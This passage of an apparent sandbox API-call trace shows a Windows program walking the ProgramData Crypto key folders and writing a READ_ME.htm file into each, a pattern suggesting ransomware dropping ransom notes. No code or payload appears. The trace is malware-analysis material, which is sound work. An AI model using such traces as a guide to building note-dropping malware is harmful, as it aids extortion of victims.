hFindFile=0x2fe5d0) returned 1 [0137.436] SetErrorMode (uMode=0x0) returned 0x1 [0137.436] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Crypto\\DSS", nBufferLength=0x105, lpBuffer=0x21d050, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Crypto\\DSS", lpFilePart=0x0) returned 0x23 [0137.436] SetErrorMode (uMode=0x1) returned 0x0 [0137.437] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Crypto\\DSS\\*" (normalized: "c:\\programdata\\microsoft\\crypto\\dss\\*"), lpFindFileData=0x21d1f0 | out: lpFindFileData=0x21d1f0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd943744, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd943744, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0137.437] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd943744, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd943744, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0137.437] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd943744, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xb66d81ea, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MachineKeys", cAlternateFileName="MACHIN~1")) returned 1 [0137.437] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd943744, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xb66d81ea, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MachineKeys", cAlternateFileName="MACHIN~1")) returned 0 [0137.437] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0137.438] SetErrorMode (uMode=0x0) returned 0x1 [0137.438] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Crypto\\DSS\\MachineKeys", nBufferLength=0x105, lpBuffer=0x21cf90, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Crypto\\DSS\\MachineKeys", lpFilePart=0x0) returned 0x2f [0137.438] SetErrorMode (uMode=0x1) returned 0x0 [0137.438] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Crypto\\DSS\\MachineKeys\\*" (normalized: "c:\\programdata\\microsoft\\crypto\\dss\\machinekeys\\*"), lpFindFileData=0x21d130 | out: lpFindFileData=0x21d130*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd943744, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xb66d81ea, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0137.439] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd943744, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xb66d81ea, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0137.439] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd943744, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xb66d81ea, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0137.439] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0137.439] SetErrorMode (uMode=0x0) returned 0x1 [0137.439] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Crypto\\DSS\\MachineKeys", nBufferLength=0x105, lpBuffer=0x21cf90, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Crypto\\DSS\\MachineKeys", lpFilePart=0x0) returned 0x2f [0137.440] SetErrorMode (uMode=0x1) returned 0x0 [0137.440] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Crypto\\DSS\\MachineKeys\\*" (normalized: "c:\\programdata\\microsoft\\crypto\\dss\\machinekeys\\*"), lpFindFileData=0x21d130 | out: lpFindFileData=0x21d130*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd943744, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xb66d81ea, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0137.441] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd943744, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xb66d81ea, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0137.441] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd943744, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xb66d81ea, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0137.441] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0137.441] SetErrorMode (uMode=0x0) returned 0x1 [0137.441] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Crypto\\DSS\\MachineKeys\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21ce30, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Crypto\\DSS\\MachineKeys\\READ_ME.htm", lpFilePart=0x0) returned 0x3b [0137.442] SetErrorMode (uMode=0x1) returned 0x0 [0137.442] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Crypto\\DSS\\MachineKeys\\READ_ME.htm" (normalized: "c:\\programdata\\microsoft\\crypto\\dss\\machinekeys\\read_me.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1d0 [0137.443] GetFileType (hFile=0x1d0) returned 0x1 [0137.443] SetErrorMode (uMode=0x0) returned 0x1 [0137.443] GetFileType (hFile=0x1d0) returned 0x1 [0137.444] WriteFile (in: hFile=0x1d0, lpBuffer=0x2967cc0*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21d398, lpOverlapped=0x0 | out: lpBuffer=0x2967cc0*, lpNumberOfBytesWritten=0x21d398*=0x720, lpOverlapped=0x0) returned 1 [0137.445] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Crypto\\DSS\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21cef0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Crypto\\DSS\\READ_ME.htm", lpFilePart=0x0) returned 0x2f [0137.445] SetErrorMode (uMode=0x1) returned 0x0 [0137.446] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Crypto\\DSS\\READ_ME.htm" (normalized: "c:\\programdata\\microsoft\\crypto\\dss\\read_me.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1d0 [0137.446] GetFileType (hFile=0x1d0) returned 0x1 [0137.446] SetErrorMode (uMode=0x0) returned 0x1 [0137.446] GetFileType (hFile=0x1d0) returned 0x1 [0137.447] WriteFile (in: hFile=0x1d0, lpBuffer=0x296c240*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21d458, lpOverlapped=0x0 | out: lpBuffer=0x296c240*, lpNumberOfBytesWritten=0x21d458*=0x720, lpOverlapped=0x0) returned 1 [0137.448] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Crypto\\Keys", nBufferLength=0x105, lpBuffer=0x21d050, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Crypto\\Keys", lpFilePart=0x0) returned 0x24 [0137.448] SetErrorMode (uMode=0x1) returned 0x0 [0137.448] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Crypto\\Keys\\*" (normalized: "c:\\programdata\\microsoft\\crypto\\keys\\*"), lpFindFileData=0x21d1f0 | out: lpFindFileData=0x21d1f0*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xfd96989e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd96989e, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xb66d81ea, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0137.450] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xfd96989e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd96989e, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xb66d81ea, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0137.450] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xfd96989e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd96989e, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xb66d81ea, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0137.450] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0137.450] SetErrorMode (uMode=0x0) returned 0x1 [0137.450] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Crypto\\Keys", nBufferLength=0x105, lpBuffer=0x21d050, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Crypto\\Keys", lpFilePart=0x0) returned 0x24 [0137.451] SetErrorMode (uMode=0x1) returned 0x0 [0137.451] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Crypto\\Keys\\*" (normalized: "c:\\programdata\\microsoft\\crypto\\keys\\*"), lpFindFileData=0x21d1f0 | out: lpFindFileData=0x21d1f0*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xfd96989e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd96989e, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xb66d81ea, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0137.452] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xfd96989e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd96989e, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xb66d81ea, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0137.452] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xfd96989e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd96989e, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xb66d81ea, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0137.452] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0137.452] SetErrorMode (uMode=0x0) returned 0x1 [0137.452] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Crypto\\Keys\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21cef0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Crypto\\Keys\\READ_ME.htm", lpFilePart=0x0) returned 0x30 [0137.453] SetErrorMode (uMode=0x1) returned 0x0 [0137.453] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Crypto\\Keys\\READ_ME.htm" (normalized: "c:\\programdata\\microsoft\\crypto\\keys\\read_me.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1d0 [0137.453] GetFileType (hFile=0x1d0) returned 0x1 [0137.453] SetErrorMode (uMode=0x0) returned 0x1 [0137.454] GetFileType (hFile=0x1d0) returned 0x1 [0137.454] WriteFile (in: hFile=0x1d0, lpBuffer=0x2971db8*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21d458, lpOverlapped=0x0 | out: lpBuffer=0x2971db8*, lpNumberOfBytesWritten=0x21d458*=0x720, lpOverlapped=0x0) returned 1 [0137.455] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Crypto\\RSA", nBufferLength=0x105, lpBuffer=0x21d050, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Crypto\\RSA", lpFilePart=0x0) returned 0x23 [0137.456] SetErrorMode (uMode=0x1) returned 0x0 [0137.456] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Crypto\\RSA\\*" (normalized: "c:\\programdata\\microsoft\\crypto\\rsa\\*"), lpFindFileData=0x21d1f0 | out: lpFindFileData=0x21d1f0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd96989e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd96989e, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd96989e, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0137.456] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd96989e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd96989e, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd96989e, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0137.457] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd96989e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd96989e, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xb66d81ea, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MachineKeys", cAlternateFileName="MACHIN~1")) returned 1 [0137.457] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd96989e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd96989e, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xb66d81ea, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MachineKeys", cAlternateFileName="MACHIN~1")) returned 0 [0137.457] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0137.457] SetErrorMode (uMode=0x0) returned 0x1 [0137.457] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Crypto\\RSA", nBufferLength=0x105, lpBuffer=0x21d050, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Crypto\\RSA", lpFilePart=0x0) returned 0x23 [0137.458] SetErrorMode (uMode=0x1) returned 0x0 [0137.458] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Crypto\\RSA\\*" (normalized: "c:\\programdata\\microsoft\\crypto\\rsa\\*"), lpFindFileData=0x21d1f0 | out: lpFindFileData=0x21d1f0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd96989e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd96989e, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd96989e, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0137.458] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd96989e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd96989e, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd96989e, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0137.458] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd96989e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd96989e, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xb66d81ea, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MachineKeys", cAlternateFileName="MACHIN~1")) returned 1 [0137.458] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd96989e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd96989e, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xb66d81ea, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MachineKeys", cAlternateFileName="MACHIN~1")) returned 0 [0137.459] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0137.459] SetErrorMode (uMode=0x0) returned 0x1 [0137.459] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Crypto\\RSA\\MachineKeys", nBufferLength=0x105, lpBuffer=0x21cf90, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Crypto\\RSA\\MachineKeys", lpFilePart=0x0) returned 0x2f [0137.459] SetErrorMode (uMode=0x1) returned 0x0 [0137.459] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Crypto\\RSA\\MachineKeys\\*" (normalized: "c:\\programdata\\microsoft\\crypto\\rsa\\machinekeys\\*"), lpFindFileData=0x21d130 | out: lpFindFileData=0x21d130*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd96989e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd96989e, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xb66d81ea, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0137.460] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd96989e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd96989e, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xb66d81ea, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0137.460] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd96989e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd96989e, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xb66d81ea, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0137.460] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0137.460] SetErrorMode (uMode=0x0) returned 0x1 [0137.460] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Crypto\\RSA\\MachineKeys", nBufferLength=0x105, lpBuffer=0x21cf90, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Crypto\\RSA\\MachineKeys", lpFilePart=0x0) returned 0x2f [0137.461] SetErrorMode (uMode=0x1) returned 0x0 [0137.461] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Crypto\\RSA\\MachineKeys\\*" (normalized: "c:\\programdata\\microsoft\\crypto\\rsa\\machinekeys\\*"), lpFindFileData=0x21d130 | out: lpFindFileData=0x21d130*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd96989e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd96989e, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xb66d81ea, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0137.461] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd96989e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd96989e, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xb66d81ea, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0137.461] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd96989e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd96989e, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xb66d81ea, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0137.461] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0137.461] SetErrorMode (uMode=0x0) returned 0x1 [0137.462] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Crypto\\RSA\\MachineKeys\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21ce30, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Crypto\\RSA\\MachineKeys\\READ_ME.htm", lpFilePart=0x0) returned 0x3b [0137.462] SetErrorMode (uMode=0x1) returned 0x0 [0137.462] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Crypto\\RSA\\MachineKeys\\READ_ME.htm" (normalized: "c:\\programdata\\microsoft\\crypto\\rsa\\machinekeys\\read_me.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1d0 [0137.462] GetFileType (hFile=0x1d0) returned 0x1 [0137.462] SetErrorMode (uMode=0x0) returned 0x1 [0137.462] GetFileType (hFile=0x1d0) returned 0x1 [0137.463] WriteFile (in: hFile=0x1d0, lpBuffer=0x29794f0*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21d398, lpOverlapped=0x0 | out: lpBuffer=0x29794f0*, lpNumberOfBytesWritten=0x21d398*=0x720, lpOverlapped=0x0) returned 1 [0137.464] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Crypto\\RSA\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21cef0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Crypto\\RSA\\READ_ME.htm", lpFilePart=0x0) returned 